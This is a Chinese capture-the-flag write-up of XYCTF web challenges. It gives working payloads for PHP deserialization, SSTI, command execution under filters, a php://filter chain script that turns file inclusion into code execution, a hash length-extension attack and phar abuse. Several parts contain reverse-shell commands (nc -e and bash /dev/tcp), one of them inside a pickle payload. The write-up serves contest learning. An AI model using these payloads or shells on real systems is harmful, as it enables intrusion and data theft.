XYCTF - web
目录
warm up
ezMake
ezhttp
ezmd5
牢牢记住,逝者为大
ezPOP
我是一个复读机
ezSerialize
第一关
第二关
第三关
第一种方法:
第二种方法:
ez?Make
方法一:利用反弹shell
方法二:通过进制编码绕过
εZ?¿м@Kε¿?
ezRCE
ezClass
方法一:SplFileObject读取文件
方法二 : Error的getMessage
ezLFI
连连看到底是连连什么看
give me flag
login
pharme
有些是比赛的时候写的,大部分是赛后看wp复现的
warm up
<?phpinclude 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {echo "ez" . "<br>";
} else {die("什么情况,这么基础的md5做不来");
}if (isset($md5) && $md5 == md5($md5)) {echo "ezez" . "<br data-tomark-pass>";
} else {die("什么情况,这么基础的md5做不来");
}if ($XY == $XYCTF) {if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {echo $level2;} else {die("什么情况,这么基础的md5做不来");}
} else {die("学这么久,传参不会传?");
}
md5($_GET['val1']) == md5($_GET['val2'])) : md5弱比较,数组绕过
md5==md5(md5 == md5(md5==md5(md5) : 双md5
extract() : 可以变量覆盖
XYCTF_550102591 : md5值为 0e937920457786991080577371025051
s1502113478a:md5值为 0e861580163291561247404381396064
GET 传参:
?val1[]=1&val2[]=2&md5=0e00275209979&XY=s1502113478a&XYCTF=s1502113478a
到第二关 LLeeevvveeelll222.php
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {echo "操作你O.o";echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {die("有点汗流浃背");
}
intval参数如果是有内容的数组返回1
post 传参: a[]=1
preg_replace的RCE:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
?a=/test/e&b=system("cat /flag")&c=just test
直接得到flag : XYCTF{0b8c5ae7-22e3-4ef2-9d4a-d48d5a461c7c}
ezMake
语法问题:echo $(shell cat f*)
或者$(shell cat f*)
直接访问 /flag 可以下载附件存在flag
(目录扫描)
ezhttp
爆破:
用户名:XYCTF
密码:@JOILha!wuigqi123$
仿造http头
User-Agent: XYCTF
Referer: yuanshen.com
Client-IP:127.0.0.1
Connection: keep-alive
Via: ymzx.qq.com
Cookie: XYCTF
ezmd5
网上直接找两张MD5值相同的图片提交,就可以得到flag
牢牢记住,逝者为大

绕过前面的 # : 使用换行符的url编码 %0a ,使后面 cmd GET传参的命令可以正常执行
再使用 ; #闭合 注释掉后面 的 ,mamba out" 要不然总会报错
过滤了好多东西,又有长度限制,
尝试了蛮久的,都不行,不晓得中间要写什么命令了
?cmd=%0a ;%23
看完wp后,中间写上
`$_GET[1]` 绕过长度限制
这个长度为13是卡得正正好啊,写的时候用的 $_POST[1] ,长度超了,就放弃了,还真就没想到 $_GET[1]
?cmd=%0a`$_GET[1]`;%23&1=cp /flag 1.txt
(将flag文件里面的内容复制到 1.txt里面去,直接访问1.txt 得到flag)
(不能 cat /flag 转八进制,试了好久,不晓得为啥)
转成八进制
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160'+$'\57\146\154\141\147'+$'\61\56\164\170\164'然后直接访问1.txt ,拿到flag这道题看其他人的wp, 是可以去反弹shell的?cmd=%0a`$_GET[1]`;%23&1=nc ip 端口 -e /bi''n/sh


ezPOP
<?phphighlight_file(__FILE__);
class AAA{public $s;public $a;public function __toString(){echo "you get 2 A <br>";$p = $this->a;return $this->s->$p;}
}class BBB{public $c;public $d;public function __get($name){echo "you get 2 B <br data-tomark-pass>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if (isset($b['a'])) {unset($b['a']);}call_user_func($a,$b)($c)($d);}
}
class CCC{public $c;public function __destruct(){echo "you get 2 C <br data-tomark-pass>";echo $this->c;}
}if(isset($_GET['xy'])) {$a = unserialize($_GET['xy']);throw new Exception("noooooob!!!");
}// pop链//CCC类-__destruct --> AAA类-__toString-->BBB类-__get -->call_user_func( , )()()//POST传参 : a=implode b=system// implode() :将数组的值拼接为一个字符串 ; b是一个数组参数$a=new CCC();
$a->c=new AAA();
$a->c->s=new BBB();
$a->c->s->c='ls /';
$a->c->s->d='hello';
//d随便填, system("ls")("hello")不影响命令执行$b=array($a,0); //绕过throw ,最后还需要将 i:1 --> i:0echo serialize($b);
//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:1;i:0;}//a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:4:"ls /";s:1:"d";s:5:"hello";}s:1:"a";N;}}i:0;i:0;}//XYCTF{28f226e7-a5a7-485d-972e-4c58d8abbb3e}
我是一个复读机
username : admin
密码:asdqwe
关键在于要有中文,还是一个中文一个{},两个中文就是{{}},三个中文又是{},做题的时候就是卡在这里了,题目说了只是一个会说英文的复读机,之前还真就没去试过中文,直接就放弃了
不然 {{}} 和 {%%}都被过滤了,无法ssti注入
直接使用 request
payload:
离谱(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag//XYCTF{3c468048-beb9-409f-8a0a-ffb8dfbdc940}
ezSerialize
第一关
第一步:&符号的运用,直接传参
?pop=O:4:"Flag":2:{s:5:"token";i:1;s:8:"password";R:2;}
结果:
fpclosefpclosefpcloseffflllaaaggg.php
第二关
<?php
highlight_file(__FILE__);
class A {public $mack;public function __invoke(){$this->mack->nonExistentMethod();}
}class B {public $luo;public function __get($key){echo "o.O<br>";$function = $this->luo;return $function();}
}class C {public $wang1;public function __call($wang1,$wang2){include 'flag.php';echo $flag2;}
}class D {public $lao;public $chen;public function __toString(){echo "O.o<br data-tomark-pass>";return is_null($this->lao->chen) ? "" : $this->lao->chen;}
}class E {public $name = "xxxxx";public $num;public function __unserialize($data){echo "<br data-tomark-pass>学到就是赚到!<br data-tomark-pass>";echo $data['num'];}public function __wakeup(){if($this->name!='' || $this->num!=''){echo "旅行者别忘记旅行的意义!<br data-tomark-pass>";}}
}if (isset($_POST['pop'])) {unserialize($_POST['pop']);
}$a=new E();
$a->num=new D();
$a->name='';
$a->num->lao=new B();
$a->num->lao->luo=new A();
$a->num->lao->luo->mack=new C();
echo serialize($a);
//O:1:"E":2:{s:4:"name";s:0:"";s:3:"num";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";N;}}//开始就是 没有$a->name=''; 这一步,导致一直不能执行成功,一直卡着
然后又进入到下一关:saber_master_saber_master.php
第三关
<?phperror_reporting(0);
highlight_file(__FILE__);// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public function __construct($Liu, $T1ng, $upsw1ng = Showmaker){$this->Liu = $Liu;$this->T1ng = $T1ng;$this->upsw1ng = $upsw1ng;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this->crypto0 = $crypto0;}public function XYCTF(){if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {return False;} else {return True;}}
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";public function __construct($KickyMu, $fpclose){$this->KickyMu = $KickyMu;$this->fpclose = $fpclose;}public function XY(){if ($this->N1ght == 'oSthing') {echo "WOW, You web is really good!!!\n";echo new $_POST['X']($_POST['Y']);}}public function __wakeup(){if ($this->KickyMu->XYCTF()) {$this->XY();}}
}if (isset($_GET['CTF'])) {unserialize($_GET['CTF']);
}
第一种方法:
在类里面做一些相应的更改
关键点绕过 if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258')
直接在 XYCTFNO1 类里面添加属性$crypto0, 再更改相应的__construct 赋值
在 XYCTFNO3 类里面直接给 $N1ght = "oSthing" 赋值
最后利用到 new $_POST['X']($_POST['Y']); ,使用 SplFileObject 读取文件flag.php
post传参 :X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
(直接读flag.php 没有回显,所以使用伪协议)
<?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;public $crypto0;public function __construct($T1ng, $crypto0){$this->T1ng = $T1ng;$this->crypto0=$crypto0;}
}class XYCTFNO2{public $crypto0;public $adwa;public function __construct($crypto0, $adwa){$this->crypto0 = $crypto0;$this->adwa=$adwa;}}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "oSthing";public function __construct($KickyMu, $fpclose){$this->KickyMu = $KickyMu;$this->fpclose = $fpclose;}}$a = new XYCTFNO3(new XYCTFNO2('dev1l',new XYCTFNO1('yuroandCMD258','dev1l')),1);
echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:" XYCTFNO1 upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";i:1;s:5:"N1ght";s:7:"oSthing";}
第二种方法:
利用 stdClass() 类,实例化直接赋值 $crypto0 = 'dev1l' , $T1ng = 'yuroandCMD258'
post传参依旧是 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php 读取文件
<?php// flag.phpclass XYCTFNO1{public $Liu;public $T1ng;private $upsw1ng;
}class XYCTFNO2{public $crypto0;public $adwa;
}class XYCTFNO3{public $KickyMu;public $fpclose;public $N1ght = "Crypto0";
}if (isset($_GET['CTF'])) {unserialize($_GET['CTF']);
}$a=new XYCTFNO3();
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new stdClass();
$a->KickyMu->adwa->crypto0='dev1l';
$a->KickyMu->adwa->T1ng='yuroandCMD258';echo serialize($a);
//O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"stdClass":2:{s:7:"crypto0";s:5:"dev1l";s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}
ez?Make
方法一:利用反弹shell
`nc ip 端口 -e sh`之前一直没能够复现成功,结果竟然是端口的问题,用80端口就可以连接,用其他的端口就连接不了,有点奇怪,我明明把所有的端口都打开了啊,有点不能理解,浪费几个小时

方法二:通过进制编码绕过
`echo 636174202F666c6167 | xxd -r -p`前面的十六进制表示 cat /flag , 通过 反引号执行 ` `
(因为f被过滤了,将f大写绕过,不影响命令执行)xxd 是一个用于在十六进制和二进制之间进行转换的工具。-r 选项告诉 xxd 将十六进制输入转换为二进制输出(即“reverse”或“reconstruct”)。-p 选项表示输入是纯十六进制(没有地址、偏移或其他信息)echo 输出十六进制字符串 636174202F666c6167。
通过管道 |,这个输出被传递给 xxd 命令。
xxd -r -p 将这个十六进制字符串转换为它的二进制表示,并输出相应的ASCII字符。//XYCTF{1d61fce7-42f1-4f55-85a8-fdf1fea48cc5}
εZ?¿м@Kε¿?
(看着wp写,也是有点没看懂,简单记录一下)
主要也是学到了 , $() 能够执行命令, < 能够将东西输入到命令中
makefile的特定语法需要 $$




ezRCE
<?php
highlight_file(__FILE__);
function waf($cmd){$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; $cmd_char = str_split($cmd);foreach($cmd_char as $char){if (!in_array($char, $white_list)){die("really ez?");}}return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
无字母RCE
Linux终端可以通过 $'\xxx' 的方式执行命令,xxx是字符ascii码的八进制形式
$'\154\163' ==> ls 可以执行
但是 $'\154\163\40\57' ==> ls / 无法执行,会被解析成字符串,无法执行命令
所以就需要用到 <<< 在Linux中,“<<<”是一个称为"Here String"的特殊操作符。它的作用是将字符串的内容作为输入传递给命令
以及 $0 相当与bash

所以 0<<<0<<<0<<<'\154\163\40\57' 就可以执行命令了
?cmd=0<<<0<<<0<<<'\143\141\164\40\57\146\154\141\147' ==> cat /flag 拿到flag
XYCTF{29b04a5d-c92f-436f-8ea4-6bf693f317de}
ezClass
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
方法一:SplFileObject读取文件
SplFileObject 加上 php伪协议 读取文件 , 调用__toString() 方法得到字符串
get传参:
a=new SplFileObject
aa=php://filter/read=convert.base64-encode/resource=/flag
c=__toString

解密:XYCTF{9801dabe-6702-4f4e-91d5-1d1f4ce2c684}
这是直接猜在根目录下有一个flag文件,要是把flag文件换个名,就需要读取目录了,但网上搜了一下读目录的
DirectoryIterator类 + glob://协议 遍历目录,但没能成功,读不到目录,可能不适合这道题或者我哪里搞错了,有点懵
方法二 : Error的getMessage
<?php
$a=new Error("system");
echo $a->getMessage();//可以输出system
所以get传参
?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage
ezLFI
在index.php中可以看到代码
<?php include_once($_REQUEST['file']);
直接现成的脚本,把地址写上去,直接输出了flag
(这道题之前倒是做过类似的,绕过 include_once(); ,但是原理方面不太理解)
import requestsurl = "http://gz.imxbt.cn:20208/"
file_to_use = "/etc/passwd"
command = "/readflag"#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "include","file": final_payload
})print(r.text)#XYCTF{878ce487-4b88-4683-ae70-7cfd8af42803}

连连看到底是连连什么看
打开index.php文件
进入到what's_this.php
<?php
highlight_file(__FILE__);
error_reporting(0);$p=$_GET['p'];if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{die("waf!");
}$payload="php://filter/$p/resource=/etc/passwd";if(file_get_contents($payload)==="XYCTF"){echo file_get_contents('/flag');
}
https://github.com/synacktiv/php_filter_chain_generator
需要用伪协议构造一个 XYCTF
用这个项目,运行生成
第一种方法:
需要将XYCTF进行几次 base64编码
命令:
python php_filter_chain_generator.py --chain 'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ'Vm1wQ1lXTXhTa2RYYTFwWVZWRQ ---> XYCTF (5次base64解码)但是 XYCTF 五次 base64编码只能得到 --> Vm1wQ1lXTXhTa2RYYTFwWVZrUkJPUT09
用这个去运行的话却不能得到flag(感觉不应该啊),刚开始没注意一直弄不出来,也不知道 Vm1wQ1lXTXhTa2RYYTFwWVZWRQ 是怎么来的
不过 Vm1wQ1lXTXhTa2RYYTFwWVZr 就可以base64解码成 XYCTF
(先暂时放着)第二种方法:
python3 php_filter_chain_generator.py --chain 'XYCTF<'然后复制下payload之后,使用string.strip_tags过滤器绕过
strip_tags :从字符串中去除 HTML 和 PHP 标签

得到的结果还需要进行解码,编码了几次就需要解码几次

payload:?p=convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode
XYCTF{5f9e48b3-7851-41c0-aa56-c0a746784199}
give me flag
<?phpinclude('flag.php');
$FLAG_md5 = md5($FLAG);
if(!isset($_GET['md5']) || !isset($_GET['value']))
{highlight_file(__FILE__);die($FLAG_md5);
}$value = $_GET['value'];
$md5 = $_GET['md5'];
$time = time();if(md5($FLAG.$value.$time)===$md5)
{echo "yes, give you flag: ";echo $FLAG;
}
a3a9ab37346c02e4a88deae16415f4c3
考察hash长度扩展攻击
文章:https://err0rzz.github.io/2017/09/18/hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/
https://www.cnblogs.com/yunen/p/13624595.html
利用工具:https://github.com/shellfeel/hash-ext-attack?tab=readme-ov-file
扩展字符输入的是一个未来的时间戳,就是未来几分钟的
密钥长度就是 flag 的长度,flag长度是固定的

payload:
?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4value 的值是新明文去掉后面的时间戳,因为题目 $FLAG.$value.$time 已经是把时间戳加上去的
md5 的值就是新生成的hash,
再写一个简单的脚本不断的请求,当时间接近我们输入的时间戳,就可以得到flag
import requestsurl='http://gz.imxbt.cn:20249/?value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00&md5=979a816bd7b50f44ba4113655f68e2c4'while True:res=requests.get(url=url)if "{" in res.text:print(res.text)break

XYCTF{c22d49e0-728d-4b84-a43c-33b6a4dd3b1d}
login
打开网站是一个登录的界面,目录扫描可以扫描出 /register.php

注册一个账号再登录,可以在cookie里面找到一个 RememberMe

base64解码一下 ,有登录的 用户名和密码 的信息

python的pickle反序列化 ,反弹shell
import base64
a = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/[ip]/80 0>&1"'
o.
'''
print(base64.b64encode(a))# c 获取一个全局对象或import一个模块 写法: c[module]\n[instance]\n 获得的对象入栈# S 实例化一个字符串对象 写法:S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈# ( 向栈中压入一个MARK标记 MARK标记入栈# o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈


pharme
查看源码,class.php, 访问
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;public $a;public function __destruct(){if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){eval($this->cmd.'isbigvegetablechicken!');} else {echo 'nonono';}}
}if(isset($_POST['file']))
{if(preg_match('/^phar:\/\//i',$_POST['file'])){die("nonono");}file_get_contents($_POST['file']);
}
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))) 表明无参数rce
eval($this->cmd.'isbigvegetablechicken!') 使用halt_compiler()绕过 ,去中断编译执行使其后面的字符不被解析
if(preg_match('/^phar:\/\//i',$_POST['file'])) 使用php伪协议绕过
构造phar包,使用gzip命令压缩上传,再改后缀为 png , 上传
http请求 在最后一个请求加上 SS:system(cat /flag); 执行命令
post传参:file=php://filter/convert.base64-encode/resource=phar:///tmp/fb5c81ed3a220004b71069645f112867.png
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{public $cmd;
}$a=new evil();
$a->cmd='eval(end(getallheaders()));__helt_compiler();';
$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER;?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','111');
$phar->stopBuffering();

相关文章:
XYCTF - web
目录 warm up ezMake ezhttp ezmd5 牢牢记住,逝者为大 ezPOP 我是一个复读机 ezSerialize 第一关 第二关 第三关 第一种方法: 第二种方法: ez?Make 方法一:利用反弹shell 方法二:通过进制编码绕过 ε…...
学习方法的重要性
原贴:https://www.cnblogs.com/feily/p/13999204.html 原贴:https://36kr.com/p/1236733055209095 1、 “一万小时定律”的正确和误区 正确: 天才和大师的非凡,不是真的天资超人一等,而是付出了持续不断的努力&…...
把现有的 Jenkins 容器推送到一个新的镜像标签,并且重新启动新的容器
要把现有的 Jenkins 容器推送到一个新的镜像标签,并且重新启动新的容器,你可以按照以下步骤操作: 停止当前正在运行的 Jenkins 容器(如果你不想在操作时中断服务,可以跳过此步骤,直接进行下一步)…...
难以重现的 Bug如何处理
